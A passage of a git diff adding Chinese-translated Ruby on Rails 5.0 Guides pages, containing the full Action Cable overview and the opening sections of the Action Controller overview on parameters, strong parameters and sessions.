+ 如果看到如何错字或错误,请反馈给我们。 + 您可以阅读我们的文档贡献指南。 +

+

+ 您还可能会发现内容不完整或不是最新版本。 + 请添加缺失文档到 master 分支。请先确认 Edge Guides 是否已经修复。 + 关于用语约定,请查看Ruby on Rails 指南指导。 +

+

+ 无论什么原因,如果你发现了问题但无法修补它,请创建 issue。 +

+

+ 最后,欢迎到 rubyonrails-docs 邮件列表参与任何有关 Ruby on Rails 文档的讨论。 +

+

中文翻译反馈

+

贡献:https://github.com/ruby-china/guides

+
+
+
+ +
+ + + + + + + + + diff --git a/v5.0/action_cable_overview.html b/v5.0/action_cable_overview.html new file mode 100644 index 0000000..6a46b29 --- /dev/null +++ b/v5.0/action_cable_overview.html @@ -0,0 +1,696 @@ + + + + + + + +Action Cable 概览 — Ruby on Rails Guides + + + + + + + + + + + +
+
+ 更多内容 rubyonrails.org: + + More Ruby on Rails + + +
+
+ +
+ +
+
+

Action Cable 概览

本文介绍 Action Cable 的工作原理,以及在 Rails 应用中如何通过 WebSocket 实现实时功能。

读完本文后,您将学到:

+
    +
  • 如何设置 Action Cable;

  • +
  • 如何设置频道(channel);

  • +
  • Action Cable 的部署和架构设置。

  • +
+ + + + +
+
+ +
+
+
+

1 简介

Action Cable 将 WebSocket 与 Rails 应用的其余部分无缝集成。有了 Action Cable,我们就可以用 Ruby 语言,以 Rails 风格实现实时功能,并且保持高性能和可扩展性。Action Cable 为此提供了全栈支持,包括客户端 JavaScript 框架和服务器端 Ruby 框架。同时,我们也能够通过 Action Cable 访问使用 Active Record 或其他 ORM 编写的所有模型。

2 Pub/Sub 是什么

Pub/Sub,也就是发布/订阅,是指在消息队列中,信息发送者(发布者)把数据发送给某一类接收者(订阅者),而不必单独指定接收者。Action Cable 通过发布/订阅的方式在服务器和多个客户端之间通信。

3 服务器端组件

3.1 连接

连接是客户端-服务器通信的基础。每当服务器接受一个 WebSocket,就会实例化一个连接对象。所有频道订阅(channel subscription)都是在继承连接对象的基础上创建的。连接本身并不处理身份验证和授权之外的任何应用逻辑。WebSocket 连接的客户端被称为连接用户(connection consumer)。每当用户新打开一个浏览器标签、窗口或设备,对应地都会新建一个用户-连接对(consumer-connection pair)。

连接是 ApplicationCable::Connection 类的实例。对连接的授权就是在这个类中完成的,对于能够识别的用户,才会继续建立连接。

3.1.1 连接设置
+
+# app/channels/application_cable/connection.rb
+module ApplicationCable
+  class Connection < ActionCable::Connection::Base
+    identified_by :current_user
+
+    def connect
+      self.current_user = find_verified_user
+    end
+
+    protected
+      def find_verified_user
+        if current_user = User.find_by(id: cookies.signed[:user_id])
+          current_user
+        else
+          reject_unauthorized_connection
+        end
+      end
+  end
+end
+
+
+
+

其中 identified_by 用于声明连接标识符,连接标识符稍后将用于查找指定连接。注意,在声明连接标识符的同时,在基于连接创建的频道实例上,会自动创建同名委托(delegate)。

上述例子假设我们已经在应用的其他部分完成了用户身份验证,并且在验证成功后设置了经过用户 ID 签名的 cookie。

尝试建立新连接时,会自动把 cookie 发送给连接实例,用于设置 current_user。通过使用 current_user 标识连接,我们稍后就能够检索指定用户打开的所有连接(如果删除用户或取消对用户的授权,该用户打开的所有连接都会断开)。

3.2 频道

和常规 MVC 中的控制器类似,频道用于封装逻辑工作单元。默认情况下,Rails 会把 ApplicationCable::Channel 类作为频道的父类,用于封装频道之间共享的逻辑。

3.2.1 父频道设置
+
+# app/channels/application_cable/channel.rb
+module ApplicationCable
+  class Channel < ActionCable::Channel::Base
+  end
+end
+
+
+
+

接下来我们要创建自己的频道类。例如,可以创建 ChatChannelAppearanceChannel 类:

+
+# app/channels/chat_channel.rb
+class ChatChannel < ApplicationCable::Channel
+end
+
+# app/channels/appearance_channel.rb
+class AppearanceChannel < ApplicationCable::Channel
+end
+
+
+
+

这样用户就可以订阅频道了,订阅一个或两个都行。

3.2.2 订阅

订阅频道的用户称为订阅者。用户创建的连接称为(频道)订阅。订阅基于连接用户(订阅者)发送的标识符创建,生成的消息将发送到这些订阅。

+
+# app/channels/chat_channel.rb
+class ChatChannel < ApplicationCable::Channel
+  # 当用户成为此频道的订阅者时调用
+  def subscribed
+  end
+end
+
+
+
+

4 客户端组件

4.1 连接

用户需要在客户端创建连接实例。下面这段由 Rails 默认生成的 JavaScript 代码,正是用于在客户端创建连接实例:

4.1.1 连接用户
+
+// app/assets/javascripts/cable.js
+//= require action_cable
+//= require_self
+//= require_tree ./channels
+
+(function() {
+  this.App || (this.App = {});
+
+  App.cable = ActionCable.createConsumer();
+}).call(this);
+
+
+
+

上述代码会创建连接用户,并将通过默认的 /cable 地址和服务器建立连接。我们还需要从现有订阅中至少选择一个感兴趣的订阅,否则将无法建立连接。

4.1.2 订阅者

一旦订阅了某个频道,用户也就成为了订阅者:

+
+# app/assets/javascripts/cable/subscriptions/chat.coffee
+App.cable.subscriptions.create { channel: "ChatChannel", room: "Best Room" }
+
+# app/assets/javascripts/cable/subscriptions/appearance.coffee
+App.cable.subscriptions.create { channel: "AppearanceChannel" }
+
+
+
+

上述代码创建了订阅,稍后我们还要描述如何处理接收到的数据。

作为订阅者,用户可以多次订阅同一个频道。例如,用户可以同时订阅多个聊天室:

+
+App.cable.subscriptions.create { channel: "ChatChannel", room: "1st Room" }
+App.cable.subscriptions.create { channel: "ChatChannel", room: "2nd Room" }
+
+
+
+

5 客户端-服务器的交互

5.1 流(stream)

频道把已发布内容(即广播)发送给订阅者,是通过所谓的“流”机制实现的。

+
+# app/channels/chat_channel.rb
+class ChatChannel < ApplicationCable::Channel
+  def subscribed
+    stream_from "chat_#{params[:room]}"
+  end
+end
+
+
+
+

有了和模型关联的流,就可以从模型和频道生成所需的广播。下面的例子用于订阅评论频道,以接收 Z2lkOi8vVGVzdEFwcC9Qb3N0LzE 这样的广播:

+
+class CommentsChannel < ApplicationCable::Channel
+  def subscribed
+    post = Post.find(params[:id])
+    stream_for post
+  end
+end
+
+
+
+

向评论频道发送广播的方式如下:

+
+CommentsChannel.broadcast_to(@post, @comment)
+
+
+
+

5.2 广播

广播是指发布/订阅的链接,也就是说,当频道订阅者使用流接收某个广播时,发布者发布的内容会被直接发送给订阅者。

广播也是时间相关的在线队列。如果用户未使用流(即未订阅频道),稍后就无法接收到广播。

在 Rails 应用的其他部分也可以发送广播:

+
+WebNotificationsChannel.broadcast_to(
+  current_user,
+  title: 'New things!',
+  body: 'All the news fit to print'
+)
+
+
+
+

调用 WebNotificationsChannel.broadcast_to 将向当前订阅适配器(默认为 Redis)的发布/订阅队列推送一条消息,并为每个用户设置不同的广播名。对于 ID 为 1 的用户,广播名是 web_notifications_1

通过调用 received 回调方法,频道会使用流把到达 web_notifications_1 的消息直接发送给客户端。

5.3 订阅

订阅频道的用户,称为订阅者。用户创建的连接称为(频道)订阅。订阅基于连接用户(订阅者)发送的标识符创建,收到的消息将被发送到这些订阅。

+
+# app/assets/javascripts/cable/subscriptions/chat.coffee
+# 假设我们已经获得了发送 Web 通知的权限
+App.cable.subscriptions.create { channel: "ChatChannel", room: "Best Room" },
+  received: (data) ->
+    @appendLine(data)
+
+  appendLine: (data) ->
+    html = @createLine(data)
+    $("[data-chat-room='Best Room']").append(html)
+
+  createLine: (data) ->
+    """
+    <article class="chat-line">
+      <span class="speaker">#{data["sent_by"]}</span>
+      <span class="body">#{data["body"]}</span>
+    </article>
+    """
+
+
+
+

5.4 向频道传递参数

创建订阅时,可以从客户端向服务器端传递参数。例如:

+
+# app/channels/chat_channel.rb
+class ChatChannel < ApplicationCable::Channel
+  def subscribed
+    stream_from "chat_#{params[:room]}"
+  end
+end
+
+
+
+

传递给 subscriptions.create 方法并作为第一个参数的对象,将成为频道的参数散列。其中必需包含 channel 关键字:

+
+# app/assets/javascripts/cable/subscriptions/chat.coffee
+App.cable.subscriptions.create { channel: "ChatChannel", room: "Best Room" },
+  received: (data) ->
+    @appendLine(data)
+
+  appendLine: (data) ->
+    html = @createLine(data)
+    $("[data-chat-room='Best Room']").append(html)
+
+  createLine: (data) ->
+    """
+    <article class="chat-line">
+      <span class="speaker">#{data["sent_by"]}</span>
+      <span class="body">#{data["body"]}</span>
+    </article>
+    """
+
+
+
+
+
+# 在应用的某个部分中调用,例如 NewCommentJob
+ChatChannel.broadcast_to(
+  "chat_#{room}",
+  sent_by: 'Paul',
+  body: 'This is a cool chat app.'
+)
+
+
+
+

5.5 消息重播

一个客户端向其他已连接客户端重播自己收到的消息,是一种常见用法。

+
+# app/channels/chat_channel.rb
+class ChatChannel < ApplicationCable::Channel
+  def subscribed
+    stream_from "chat_#{params[:room]}"
+  end
+
+  def receive(data)
+    ActionCable.server.broadcast("chat_#{params[:room]}", data)
+  end
+end
+
+
+
+
+
+# app/assets/javascripts/cable/subscriptions/chat.coffee
+App.chatChannel = App.cable.subscriptions.create { channel: "ChatChannel", room: "Best Room" },
+  received: (data) ->
+    # data => { sent_by: "Paul", body: "This is a cool chat app." }
+
+App.chatChannel.send({ sent_by: "Paul", body: "This is a cool chat app." })
+
+
+
+

所有已连接的客户端,包括发送消息的客户端在内,都将收到重播的消息。注意,重播时使用的参数与订阅频道时使用的参数相同。

6 全栈示例

本节的两个例子都需要进行下列设置:

+
    +
  1. 设置连接;

  2. +
  3. 设置父频道;

  4. +
  5. 连接用户。

  6. +
+

6.1 例 1:用户在线状态(user appearance)

下面是一个关于频道的简单例子,用于跟踪用户是否在线,以及用户所在的页面。(常用于显示用户在线状态,例如当用户在线时,在用户名旁边显示绿色小圆点。)

在服务器端创建在线状态频道(appearance channel):

+
+# app/channels/appearance_channel.rb
+class AppearanceChannel < ApplicationCable::Channel
+  def subscribed
+    current_user.appear
+  end
+
+  def unsubscribed
+    current_user.disappear
+  end
+
+  def appear(data)
+    current_user.appear(on: data['appearing_on'])
+  end
+
+  def away
+    current_user.away
+  end
+end
+
+
+
+

订阅创建后,会触发 subscribed 回调方法,这时可以提示说“当前用户上线了”。上线/下线 API 的后端可以是 Redis、数据库或其他解决方案。

在客户端创建在线状态频道订阅:

+
+# app/assets/javascripts/cable/subscriptions/appearance.coffee
+App.cable.subscriptions.create "AppearanceChannel",
+  # 当服务器上的订阅可用时调用
+  connected: ->
+    @install()
+    @appear()
+
+  # 当 WebSocket 连接关闭时调用
+  disconnected: ->
+    @uninstall()
+
+  # 当服务器拒绝订阅时调用
+  rejected: ->
+    @uninstall()
+
+  appear: ->
+    # 在服务器上调用 `AppearanceChannel#appear(data)`
+    @perform("appear", appearing_on: $("main").data("appearing-on"))
+
+  away: ->
+    # 在服务器上调用 `AppearanceChannel#away`
+    @perform("away")
+
+
+  buttonSelector = "[data-behavior~=appear_away]"
+
+  install: ->
+    $(document).on "page:change.appearance", =>
+      @appear()
+
+    $(document).on "click.appearance", buttonSelector, =>
+      @away()
+      false
+
+    $(buttonSelector).show()
+
+  uninstall: ->
+    $(document).off(".appearance")
+    $(buttonSelector).hide()
+
+
+
+
6.1.1 客户端-服务器交互
+
    +
  1. 客户端通过 App.cable = ActionCable.createConsumer("ws://cable.example.com")(位于 cable.js 文件中)连接到服务器服务器通过 current_user 标识此连接。

  2. +
  3. 客户端通过 App.cable.subscriptions.create(channel: "AppearanceChannel")(位于 appearance.coffee 文件中)订阅在线状态频道。

  4. +
  5. 服务器发现在线状态频道创建了一个新订阅,于是调用 subscribed 回调方法,也即在 current_user 对象上调用 appear 方法。

  6. +
  7. 客户端发现订阅创建成功,于是调用 connected 方法(位于 appearance.coffee 文件中),也即依次调用 @install@appear@appear 会调用服务器上的 AppearanceChannel#appear(data) 方法,同时提供 { appearing_on: $("main").data("appearing-on") } 数据散列。之所以能够这样做,是因为服务器端的频道实例会自动暴露类上声明的所有公共方法(回调除外),从而使远程过程能够通过订阅的 perform 方法调用它们。

  8. +
  9. 服务器接收向在线状态频道的 appear 动作发起的请求,此频道基于连接创建,连接由 current_user(位于 appearance_channel.rb 文件中)标识。服务器通过 :appearing_on 键从数据散列中检索数据,将其设置为 :on 键的值并传递给 current_user.appear

  10. +
+

6.2 例 2:接收新的 Web 通知

上一节中在线状态的例子,演示了如何把服务器功能暴露给客户端,以便在客户端通过 WebSocket 连接调用这些功能。但是 WebSocket 的伟大之处在于,它是一条双向通道。因此,在本节的例子中,我们要看一看服务器如何调用客户端上的动作。

本节所举的例子是一个 Web 通知频道(Web notification channel),允许我们在广播到正确的流时触发客户端 Web 通知。

创建服务器端 Web 通知频道:

+
+# app/channels/web_notifications_channel.rb
+class WebNotificationsChannel < ApplicationCable::Channel
+  def subscribed
+    stream_for current_user
+  end
+end
+
+
+
+

创建客户端 Web 通知频道订阅:

+
+# app/assets/javascripts/cable/subscriptions/web_notifications.coffee
+# 客户端假设我们已经获得了发送 Web 通知的权限
+App.cable.subscriptions.create "WebNotificationsChannel",
+  received: (data) ->
+    new Notification data["title"], body: data["body"]
+
+
+
+

在应用的其他部分向 Web 通知频道实例发送内容广播:

+
+# 在应用的某个部分中调用,例如 NewCommentJob
+WebNotificationsChannel.broadcast_to(
+  current_user,
+  title: 'New things!',
+  body: 'All the news fit to print'
+)
+
+
+
+

调用 WebNotificationsChannel.broadcast_to 将向当前订阅适配器的发布/订阅队列推送一条消息,并为每个用户设置不同的广播名。对于 ID 为 1 的用户,广播名是 web_notifications_1

通过调用 received 回调方法,频道会用流把到达 web_notifications_1 的消息直接发送给客户端。作为参数传递的数据散列,将作为第二个参数传递给服务器端的广播调用,数据在传输前使用 JSON 进行编码,到达服务器后由 received 解码。

6.3 更完整的例子

关于在 Rails 应用中设置 Action Cable 并添加频道的完整例子,参见 rails/actioncable-examples 仓库。

7 配置

使用 Action Cable 时,有两个选项必需配置:订阅适配器和允许的请求来源。

7.1 订阅适配器

默认情况下,Action Cable 会查找 config/cable.yml 这个配置文件。该文件必须为每个 Rails 环境指定适配器和 URL 地址。关于适配器的更多介绍,请参阅 依赖关系

+
+development:
+  adapter: async
+
+test:
+  adapter: async
+
+production:
+  adapter: redis
+  url: redis://10.10.3.153:6381
+
+
+
+

7.2 允许的请求来源

Action Cable 仅接受来自指定来源的请求。这些来源是在服务器配置文件中以数组的形式设置的,每个来源既可以是字符串,也可以是正则表达式。对于每个请求,都要对其来源进行检查,看是否和允许的请求来源相匹配。

+
+config.action_cable.allowed_request_origins = ['http://rubyonrails.com/', %r{http://ruby.*}]
+
+
+
+

若想禁用来源检查,允许任何来源的请求:

+
+config.action_cable.disable_request_forgery_protection = true
+
+
+
+

在开发环境中,Action Cable 默认允许来自 localhost:3000 的所有请求。

7.3 用户配置

要想配置 URL 地址,可以在 HTML 布局文件的 <head> 元素中添加 action_cable_meta_tag 标签。这个标签会使用环境配置文件中 config.action_cable.url 选项设置的 URL 地址或路径。

7.4 其他配置

另一个常见的配置选项,是应用于每个连接记录器的日志标签。下面是 Basecamp 使用的配置:

+
+config.action_cable.log_tags = [
+  -> request { request.env['bc.account_id'] || "no-account" },
+  :action_cable,
+  -> request { request.uuid }
+]
+
+
+
+

关于所有配置选项的完整列表,请参阅 ActionCable::Server::Configuration 类的 API 文档。

还要注意,服务器提供的数据库连接在数量上至少应该和职程(worker)相等。职程池的默认大小为 100,也就是说数据库连接数量至少为 100。职程池的大小可以通过 config/database.yml 文件中的 pool 属性设置。

8 运行独立的 Cable 服务器

8.1 和应用一起运行

Action Cable 可以和 Rails 应用一起运行。例如,要想监听 /websocket 上的 WebSocket 请求,可以通过 config.action_cable.mount_path 选项指定监听路径:

+
+# config/application.rb
+class Application < Rails::Application
+  config.action_cable.mount_path = '/websocket'
+end
+
+
+
+

在布局文件中调用 action_cable_meta_tag 后,就可以使用 App.cable = ActionCable.createConsumer() 连接到 Cable 服务器。可以通过 createConsumer 方法的第一个参数指定自定义路径(例如,App.cable = +ActionCable.createConsumer("/websocket"))。

对于我们创建的每个服务器实例,以及由服务器派生的每个职程,都会新建对应的 Action Cable 实例,通过 Redis 可以在不同连接之间保持消息同步。

8.2 独立运行

Cable 服务器可以和普通应用服务器分离。此时,Cable 服务器仍然是 Rack 应用,只不过是单独的 Rack 应用罢了。推荐的基本设置如下:

+
+# cable/config.ru
+require_relative 'config/environment'
+Rails.application.eager_load!
+
+run ActionCable.server
+
+
+
+

然后用 bin/cable 中的一个 binstub 命令启动服务器:

+
+#!/bin/bash
+bundle exec puma -p 28080 cable/config.ru
+
+
+
+

上述代码在 28080 端口上启动 Cable 服务器。

8.3 注意事项

WebSocket 服务器没有访问 Session 的权限,但可以访问 Cookie,而在处理身份验证时需要用到 Cookie。这篇文章介绍了如何使用 Devise 验证身份。

9 依赖关系

Action Cable 提供了用于处理发布/订阅内部逻辑的订阅适配器接口,默认包含异步、内联、PostgreSQL、事件 Redis 和非事件 Redis 适配器。新建 Rails 应用的默认适配器是异步(async)适配器。

对 Ruby gem 的依赖包括 websocket-drivernio4rconcurrent-ruby

10 部署

Action Cable 由 WebSocket 和线程组成。其中框架管道和用户指定频道的职程,都是通过 Ruby 提供的原生线程支持来处理的。这意味着,只要不涉及线程安全问题,我们就可以使用常规 Rails 线程模型的所有功能。

Action Cable 服务器实现了Rack 套接字劫持 API(Rack socket hijacking API),因此无论应用服务器是否是多线程的,都能够通过多线程模式管理内部连接。

因此,Action Cable 可以和流行的应用服务器一起使用,例如 Unicorn、Puma 和 Passenger。

+ +

反馈

+

+ 我们鼓励您帮助提高本指南的质量。 +

+

+ 如果看到如何错字或错误,请反馈给我们。 + 您可以阅读我们的文档贡献指南。 +

+

+ 您还可能会发现内容不完整或不是最新版本。 + 请添加缺失文档到 master 分支。请先确认 Edge Guides 是否已经修复。 + 关于用语约定,请查看Ruby on Rails 指南指导。 +

+

+ 无论什么原因,如果你发现了问题但无法修补它,请创建 issue。 +

+

+ 最后,欢迎到 rubyonrails-docs 邮件列表参与任何有关 Ruby on Rails 文档的讨论。 +

+

中文翻译反馈

+

贡献:https://github.com/ruby-china/guides

+
+
+
+ +
+ + + + + + + + + diff --git a/v5.0/action_controller_overview.html b/v5.0/action_controller_overview.html new file mode 100644 index 0000000..9d067e0 --- /dev/null +++ b/v5.0/action_controller_overview.html @@ -0,0 +1,1184 @@ + + + + + + + +Action Controller 概览 — Ruby on Rails Guides + + + + + + + + + + + +
+
+ 更多内容 rubyonrails.org: + + More Ruby on Rails + + +
+
+ +
+ +
+
+

Action Controller 概览

本文介绍控制器的工作原理,以及控制器在应用请求周期中扮演的角色。

读完本文后,您将学到:

+
    +
  • 请求如何进入控制器;

  • +
  • 如何限制传入控制器的参数;

  • +
  • 为什么以及如何把数据存储在会话或 cookie 中;

  • +
  • 处理请求时,如何使用过滤器执行代码;

  • +
  • 如何使用 Action Controller 内置的 HTTP 身份验证功能;

  • +
  • 如何把数据流直接发送给用户的浏览器;

  • +
  • 如何过滤敏感信息,不写入应用的日志;

  • +
  • 如何处理请求过程中可能出现的异常。

  • +
+ + + + +
+
+ +
+
+
+

1 控制器的作用

Action Controller 是 MVC 中的 C(控制器)。路由决定使用哪个控制器处理请求后,控制器负责解析请求,生成相应的输出。Action Controller 会代为处理大多数底层工作,使用智能的约定,让整个过程清晰明了。

在大多数按照 REST 架构开发的应用中,控制器会接收请求(开发者不可见),从模型中获取数据,或把数据写入模型,再通过视图生成 HTML。如果控制器需要做其他操作,也没问题,以上只不过是控制器的主要作用。

因此,控制器可以视作模型和视图的中间人,让模型中的数据可以在视图中使用,把数据显示给用户,再把用户提交的数据保存或更新到模型中。

路由的处理细节参阅Rails 路由全解

2 控制器命名约定

Rails 控制器的命名约定是,最后一个单词使用复数形式,但也有例外,比如 ApplicationController。例如:用 ClientsController,而不是 ClientController;用 SiteAdminsController,而不是 SiteAdminControllerSitesAdminsController

遵守这一约定便可享用默认的路由生成器(例如 resources 等),无需再指定 :path:controller 选项,而且 URL 和路径的辅助方法也能保持一致性。详情参阅Rails 布局和视图渲染

控制器的命名约定与模型不同,模型的名字习惯使用单数形式。

3 方法和动作

一个控制器是一个 Ruby 类,继承自 ApplicationController,和其他类一样,定义了很多方法。应用接到请求时,路由决定运行哪个控制器和哪个动作,然后 Rails 创建该控制器的实例,运行与动作同名的方法。

+
+class ClientsController < ApplicationController
+  def new
+  end
+end
+
+
+
+

例如,用户访问 /clients/new 添加新客户,Rails 会创建一个 ClientsController 实例,然后调用 new 方法。注意,在上面这段代码中,即使 new 方法是空的也没关系,因为 Rails 默认会渲染 new.html.erb 视图,除非动作指定做其他操作。在 new 方法中,可以声明在视图中使用的 @client 实例变量,创建一个新的 Client 实例:

+
+def new
+  @client = Client.new
+end
+
+
+
+

详情参阅Rails 布局和视图渲染

ApplicationController 继承自 ActionController::Base。后者定义了许多有用的方法。本文会介绍部分方法,如果想知道定义了哪些方法,可查阅 API 文档或源码。

只有公开方法才作为动作调用。所以最好减少对外可见的方法数量(使用 privateprotected),例如辅助方法和过滤器方法。

4 参数

在控制器的动作中,往往需要获取用户发送的数据或其他参数。在 Web 应用中参数分为两类。第一类随 URL 发送,叫做“查询字符串参数”,即 URL 中 ? 符号后面的部分。第二类经常称为“POST 数据”,一般来自用户填写的表单。之所以叫做“POST 数据”,是因为这类数据只能随 HTTP POST 请求发送。Rails 不区分这两种参数,在控制器中都可通过 params 散列获取:

+
+class ClientsController < ApplicationController
+  # 这个动作使用查询字符串参数,因为它响应的是 HTTP GET 请求
+  # 但是,访问参数的方式没有不同
+  # 列出激活客户的 URL 可能是这样的:/clients?status=activated
+  def index
+    if params[:status] == "activated"
+      @clients = Client.activated
+    else
+      @clients = Client.inactivated
+    end
+  end
+
+  # 这个动作使用 POST 参数
+  # 这种参数最常来自用户提交的 HTML 表单
+  # 在 REST 式架构中,这个动作响应的 URL 是“/clients”
+  # 数据在请求主体中发送
+  def create
+    @client = Client.new(params[:client])
+    if @client.save
+      redirect_to @client
+    else
+      # 这一行代码覆盖默认的渲染行为
+      # 默认渲染的是“create”视图
+      render "new"
+    end
+  end
+end
+
+
+
+

4.1 散列和数组参数

params 散列不局限于只能使用一维键值对,其中可以包含数组和嵌套的散列。若想发送数组,要在键名后加上一对空方括号([]):

+
+GET /clients?ids[]=1&ids[]=2&ids[]=3
+
+
+
+

“[”和“]”这两个符号不允许出现在 URL 中,所以上面的地址会被编码成 /clients?ids%5b%5d=1&ids%5b%5d=2&ids%5b%5d=3。多数情况下,无需你费心,浏览器会代为编码,接收到这样的请求后,Rails 也会自动解码。如果你要手动向服务器发送这样的请求,就要留心了。

此时,params[:ids] 的值是 ["1", "2", "3"]。注意,参数的值始终是字符串,Rails 不会尝试转换类型。

默认情况下,基于安全考虑,参数中的 [nil][nil, nil, …​] 会替换成 []。详情参见 Ruby on Rails 安全指南

若想发送一个散列,要在方括号内指定键名:

+
+<form accept-charset="UTF-8" action="http://github.com/clients" method="post">
+  <input type="text" name="client[name]" value="Acme" />
+  <input type="text" name="client[phone]" value="12345" />
+  <input type="text" name="client[address][postcode]" value="12345" />
+  <input type="text" name="client[address][city]" value="Carrot City" />
+</form>
+
+
+
+

提交这个表单后,params[:client] 的值是 { "name" => "Acme", "phone" => "12345", "address" => { "postcode" => "12345", "city" => "Carrot City" } }。注意 params[:client][:address] 是个嵌套散列。

params 对象的行为类似于散列,但是键可以混用符号和字符串。

4.2 JSON 参数

开发 Web 服务应用时,你会发现,接收 JSON 格式的参数更容易处理。如果请求的 Content-Type 首部是 application/json,Rails 会自动将其转换成 params 散列,这样就可以按照常规的方式使用了。

例如,如果发送如下的 JSON 内容:

+
+{ "company": { "name": "acme", "address": "123 Carrot Street" } }
+
+
+
+

控制器收到的 params[:company]{ "name" => "acme", "address" => "123 Carrot Street" }

如果在初始化脚本中开启了 config.wrap_parameters 选项,或者在控制器中调用了 wrap_parameters 方法,可以放心地省去 JSON 参数中的根元素。此时,Rails 会以控制器名新建一个键,复制参数,将其存入这个键名下。因此,上面的参数可以写成:

+
+{ "name": "acme", "address": "123 Carrot Street" }
+
+
+
+

假设把上述数据发给 CompaniesController,那么参数会存入 :company 键名下:

+
+{ name: "acme", address: "123 Carrot Street", company: { name: "acme", address: "123 Carrot Street" } }
+
+
+
+

如果想修改默认使用的键名,或者把其他参数存入其中,请参阅 API 文档

解析 XML 格式参数的功能现已抽出,制成了 gem,名为 actionpack-xml_parser

4.3 路由参数

params 散列始终有 :controller:action 两个键,但获取这两个值应该使用 controller_nameaction_name 方法。路由中定义的参数,例如 :id,也可通过 params 散列获取。例如,假设有个客户列表,可以列出激活和未激活的客户。我们可以定义一个路由,捕获下面这个 URL 中的 :status 参数:

+
+get '/clients/:status' => 'clients#index', foo: 'bar'
+
+
+
+

此时,用户访问 /clients/active 时,params[:status] 的值是 "active"。同时,params[:foo] 的值会被设为 "bar",就像通过查询字符串传入的一样。控制器还会收到 params[:action],其值为 "index",以及 params[:controller],其值为 "clients"

4.4 default_url_options +

在控制器中定义名为 default_url_options 的方法,可以设置所生成的 URL 中都包含的参数。这个方法必须返回一个散列,其值为所需的参数值,而且键必须使用符号:

+
+class ApplicationController < ActionController::Base
+  def default_url_options
+    { locale: I18n.locale }
+  end
+end
+
+
+
+

这个方法定义的只是预设参数,可以被 url_for 方法的参数覆盖。

如果像上面的代码那样在 ApplicationController 中定义 default_url_options,设定的默认参数会用于生成所有的 URL。default_url_options 也可以在具体的控制器中定义,此时只影响与该控制器有关的 URL。

其实,不是生成的每个 URL 都会调用这个方法。为了提高性能,返回的散列会缓存,因此一次请求至少会调用一次。

4.5 健壮参数

加入健壮参数功能后,Action Controller 的参数禁止在 Avtive Model 中批量赋值,除非参数在白名单中。也就是说,你要明确选择哪些属性可以批量更新,以防不小心允许用户更新模型中敏感的属性。

此外,还可以标记哪些参数是必须传入的,如果没有收到,会交由预定义的 raise/rescue 流程处理,返回“400 Bad Request”。

+
+class PeopleController < ActionController::Base
+  # 这会导致 ActiveModel::ForbiddenAttributes 异常抛出
+  # 因为没有明确指明允许赋值的属性就批量更新了
+  def create
+    Person.create(params[:person])
+  end
+
+  # 只要参数中有 person 键,这个动作就能顺利执行
+  # 否则,抛出 ActionController::ParameterMissing 异常
+  # ActionController::Base 会捕获这个异常,返回 400 Bad Request 响应
+  def update
+    person = current_account.people.find(params[:id])
+    person.update!(person_params)
+    redirect_to person
+  end
+
+  private
+    # 在一个私有方法中封装允许的参数是个好做法
+    # 这样可以在 create 和 update 动作中复用
+    # 此外,可以细化这个方法,针对每个用户检查允许的属性
+    def person_params
+      params.require(:person).permit(:name, :age)
+    end
+end
+
+
+
+
4.5.1 允许使用的标量值

假如允许传入 :id

+
+params.permit(:id)
+
+
+
+

params 中有 :id 键,且 :id 是标量值,就可以通过白名单检查;否则 :id 会被过滤掉。因此,不能传入数组、散列或其他对象。

允许使用的标量类型有:StringSymbolNilClassNumericTrueClassFalseClassDateTimeDateTimeStringIOIOActionDispatch::Http::UploadedFileRack::Test::UploadedFile

若想指定 params 中的值必须为标量数组,可以把键对应的值设为空数组:

+
+params.permit(id: [])
+
+
+
+

若想允许传入整个参数散列,可以使用 permit! 方法:

+
+params.require(:log_entry).permit!
+
+
+
+

此时,允许传入整个 :log_entry 散列及嵌套散列。使用 permit! 时要特别注意,因为这么做模型中所有现有的属性及后续添加的属性都允许进行批量赋值。

4.5.2 嵌套参数

也可以允许传入嵌套参数,例如:

+
+params.permit(:name, { emails: [] },
+              friends: [ :name,
+                         { family: [ :name ], hobbies: [] }])
+
+
+
+

此时,允许传入 nameemailsfriends 属性。其中,emails 是标量数组;friends 是一个由资源组成的数组:应该有个 name 属性(任何允许使用的标量值),有个 hobbies 属性,其值是标量数组,以及一个 family 属性,其值只能包含 name 属性(也是任何允许使用的标量值)。

4.5.3 更多示例

你可能还想在 new 动作中限制允许传入的属性。不过,此时无法在根键上调用 require 方法,因为调用 new 时根键还不存在:

+
+# 使用 `fetch` 可以提供一个默认值
+# 这样就可以使用健壮参数了
+params.fetch(:blog, {}).permit(:title, :author)
+
+
+
+

使用模型的类方法 accepts_nested_attributes_for 可以更新或销毁关联的记录。这个方法基于 id_destroy 参数:

+
+# 允许 :id 和 :_destroy
+params.require(:author).permit(:name, books_attributes: [:title, :id, :_destroy])
+
+
+
+

如果散列的键是数字,处理方式有所不同。此时可以把属性作为散列的直接子散列。accepts_nested_attributes_forhas_many 关联同时使用时会得到这种参数:

+
+# 为下面这种数据添加白名单:
+# {"book" => {"title" => "Some Book",
+#             "chapters_attributes" => { "1" => {"title" => "First Chapter"},
+#                                        "2" => {"title" => "Second Chapter"}}}}
+
+params.require(:book).permit(:title, chapters_attributes: [:title])
+
+
+
+
4.5.4 不用健壮参数

健壮参数的目的是为了解决常见问题,不是万用良药。不过,你可以很方便地与自己的代码结合,解决复杂需求。

假设有个参数包含产品名称和一个由任意数据组成的产品附加信息散列,你想过滤产品名称和整个附加数据散列。健壮参数不能过滤由任意键组成的嵌套散列,不过可以使用嵌套散列的键定义过滤规则:

+
+def product_params
+  params.require(:product).permit(:name, data: params[:product][:data].try(:keys))
+end
+
+
+
+

5 会话

应用中的每个用户都有一个会话(session),用于存储少量数据,在多次请求中永久存储。会话只能在控制器和视图中使用,可以通过以下几种存储机制实现:

+
    +
  • ActionDispatch::Session::CookieStore:所有数据都存储在客户端

  • +
  • ActionDispatch::Session::CacheStore:数据存储在 Rails 缓存里

  • +
  • ActionDispatch::Session::ActiveRecordStore:使用 Active Record 把数据存储在数据库中(需要使用 activerecord-session_store gem)

  • +
  • ActionDispatch::Session::MemCacheStore:数据存储在 Memcached 集群中(这是以前的实现方式,现在应该改用 CacheStore)

  • +
+

所有存储机制都会用到一个 cookie,存储每个会话的 ID(必须使用 cookie,因为 Rails 不允许在 URL 中传递会话 ID,这么做不安全)。

